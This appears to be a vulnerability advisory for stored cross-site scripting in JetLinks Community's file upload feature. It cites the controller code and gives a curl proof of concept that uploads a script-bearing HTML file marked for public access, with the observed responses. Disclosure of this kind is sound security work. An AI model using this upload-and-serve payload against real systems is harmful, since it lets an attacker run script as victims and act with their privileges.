CWE-79 Stored Cross-Site Scripting via Public File Upload in JetLinks Community
Summary
An authenticated user can upload an HTML or SVG file marked publicAccess that JetLinks then serves to anonymous visitors as inline text/html or image/svg+xml, executing attacker-controlled script in the victim browser on the JetLinks origin.
Details
The attack begins with an authenticated POST /file/upload. The request is multipart with a file part and the query parameter options=publicAccess. The controller reads the optional options value and parses it with FileOption.parse, which accepts the publicAccess enum value:
@PostMapping({"/upload", "/upload.{suffix:.*}"})
@Authorize
public Mono<FileInfo> upload(@RequestPart("file") Mono<FilePart> partMono,
ServerWebExchange exchange,
@RequestParam(required = false) String options) {
String path = exchange.getRequest().getPath().value();
String suffix = FileUtils.getExtension(path);
return validatePermission(suffix, partMono)
.flatMap(part -> fileManager.saveFile(part, FileOption.parse(options)));
}Source: jetlinks-components/io-component/src/main/java/org/jetlinks/community/io/file/web/FileManagerController.java:59-70.
validatePermission calls properties.validateUploadPermission(suffix, auth). In FileProperties, that method returns immediately when the suffix permission is not enabled, and SuffixPermission.enabled defaults to false:
public void validateUploadPermission(String suffix, Authentication auth) {
if (!permission.isEnabled()) {
return;
}
...
}Source: jetlinks-components/io-component/src/main/java/org/jetlinks/community/io/file/FileProperties.java:81-94; the default is private boolean enabled = false; at FileProperties.java:131.
With the default configuration the uploader is not restricted to the default safe suffix list (zip, xls, xlsx, csv, jpg, jpeg, png, gif, bmp, webp), so an .html file passes. The file is stored with the extension taken from the uploaded filename, and the media type is derived from that extension when the file is read:
case "html":
return MediaType.TEXT_HTML;
...
case "svg":
return MediaType.parseMediaType("image/svg+xml");Source: jetlinks-components/io-component/src/main/java/org/jetlinks/community/io/utils/FileUtils.java:87-102.
The read endpoint is anonymous. read() is annotated @Authorize(ignore = true) and delegates to readAndWrite():
@GetMapping("/{fileId}")
@Authorize(ignore = true)
public Mono<Void> read(@PathVariable String fileId, ...) {
return readAndWrite(fileManager, fileId, exchange);
}Source: FileManagerController.java:136-144.
readAndWrite validates access through validatePermission, which returns success for a file that has the publicAccess option:
if (!ctx.info().hasOption(FileOption.publicAccess)) {
...
} else {
return Mono.empty();
}Source: FileManagerController.java:146-165 (the publicAccess branch is at lines 162-164).
The response then sets the content type from the stored media type and adds a download disposition only for an attachment request or for application/octet-stream:
MediaType mediaType = ctx.info().mediaType();
responseHeaders.setContentType(mediaType);
...
if (attachment || mediaType.includes(MediaType.APPLICATION_OCTET_STREAM)) {
responseHeaders.setContentDisposition(
ContentDisposition.attachment().filename(...).build());
}Source: FileManagerController.java:213-254.
For an uploaded .html file, mediaType is text/html, so the Content-Disposition header is not set and the stored bytes are returned inline as text/html. An anonymous GET /file/{id} therefore serves the attacker script as active content on the JetLinks origin.
PoC
Upload the payload as a public file (the token is the X-Access-Token from an authenticated POST /authorize/login):
TOKEN=<X-Access-Token>
cat <<'EOF' | curl -sS -X POST 'http://127.0.0.1:8848/file/upload?options=publicAccess' \
-H "X-Access-Token: $TOKEN" -F 'file=@-;filename=evil.html'
<!DOCTYPE html><html><head><title>JL-CWE79-PROOF</title></head><body>
<h1>JetLinks CWE-79 stored XSS proof</h1>
<script>document.body.setAttribute('data-xss-executed','JL-CWE79-XSS');</script>
<img src="x" onerror="document.body.setAttribute('data-onerror-executed','JL-CWE79-ONERROR')">
</body></html>
EOFObserved upload response, HTTP 200:
{"message":"success","result":{"id":"TaCbf3eNApwBh9Mqz-QAzSKTi3C9yhBh","name":"evil.html","extension":"html","length":307,"options":[{"text":"publicAccess","value":"publicAccess"}],"path":"20260914/TaCbf3eNApwBh9Mqz-QAzSKTi3C9yhBh.html"},"status":200}Anonymous read of the returned id, no token:
curl -sS -i http://127.0.0.1:8848/file/TaCbf3eNApwBh9Mqz-QAzSKTi3C9yhBhObserved response, HTTP 200:
Content-Type: text/html
Content-Length: 307
(no Content-Disposition)
<!DOCTYPE html>
...
<script>document.body.setAttribute('data-xss-executed','JL-CWE79-XSS');</script>
<img src="x" onerror="document.body.setAttribute('data-onerror-executed','JL-CWE79-ONERROR')">Impact
The demonstrated impact is stored cross-site scripting on the JetLinks origin. An authenticated user can store a script that runs in the browser of any visitor who opens the public file URL. Because the script runs on the JetLinks origin, it executes with the victim privileges in the JetLinks web application and can act as the victim, read data the victim can read, and change data the victim can change, subject to the application authorization checks.
Source: jetlinks/jetlinks-community